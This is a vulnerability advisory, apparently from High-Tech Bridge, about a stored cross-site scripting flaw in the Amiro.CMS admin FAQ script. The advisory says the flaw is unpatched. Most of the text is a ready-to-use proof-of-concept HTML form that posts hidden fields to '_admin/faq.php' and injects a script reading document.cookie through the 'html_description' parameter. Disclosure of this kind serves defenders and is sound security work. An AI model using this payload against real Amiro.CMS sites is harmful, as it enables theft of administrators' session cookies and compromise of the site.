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XSS vulnerability in Amiro.CMS FAQ

Vulnerability ID: HTB22590
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amiro_cms_1.html
Product: Amiro.CMS
Vendor: Amiro ( http://www.amiro.ru/ ) 
Vulnerable Version: and Probably Prior Versions
Vendor Notification: 18 August 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "_admin/faq.php" script to properly sanitize user-supplied input in "html_description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/_admin/faq.php"; method="post" name="main" >

<input type="hidden" name="id" value="3" />
<input type="hidden" name="action" value="apply" />
<input type="hidden" name="action_original" value="apply" />
<input type="hidden" name="_form_data" value="1" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="cols" value="" />
<input type="hidden" name="datefrom" value="31.12.1979" />
<input type="hidden" name="enc_datefrom" value="31.12.1979" />
<input type="hidden" name="dateto" value="31.12.2034" />
<input type="hidden" name="enc_dateto" value="31.12.2034" />
<input type="hidden" name="sort" value="answered" />
<input type="hidden" name="enc_sort" value="answered" />
<input type="hidden" name="sdim" value="asc" />
<input type="hidden" name="enc_sdim" value="asc" />
<input type="hidden" name="offset" value="0" />
<input type="hidden" name="enc_offset" value="0" />
<input type="hidden" name="limit" value="10" />
<input type="hidden" name="enc_limit" value="10" />
<input type="hidden" name="_grp_ids" value="" />
<input type="hidden" name="enc__grp_ids" value="" />
<input type="hidden" name="flt_subject_id" value="0" />
<input type="hidden" name="enc_flt_subject_id" value="0" />
<input type="hidden" name="flt_question" value="" />
<input type="hidden" name="enc_flt_question" value="" />
<input type="hidden" name="flt_urgent" value="0" />
<input type="hidden" name="enc_flt_urgent" value="0" />
<input type="hidden" name="public" value="checked" />
<input type="hidden" name="publish" value="" />
<input type="hidden" name="public" value="1" />
<input type="hidden" name="date" value="11.08.2009" />
<input type="hidden" name="cat_id" value="8" />
<input type="hidden" name="catname" value="" />
<input type="hidden" name="author" value="author name" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="send" value="1" />
<input type="hidden" name="sublink" value="faq-page-link" />
<input type="hidden" name="original_sublink" value="faq-page-link" />
<input type="hidden" name="html_title" value="html title" />
<input type="hidden" name="original_html_title" value="html title" />
<input type="hidden" name="html_keywords" value="key1" />
<input type="hidden" name="original_html_keywords" value="key1" />
<input type="hidden" name="is_keywords_manual" value="0" />
<input type="hidden" name="html_description" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="original_html_description" value="descr" />
<input type="hidden" name="answer" value="answer text" />
<input type="hidden" name="question" value="question text" />
<input type="hidden" name="apply" value="OK" />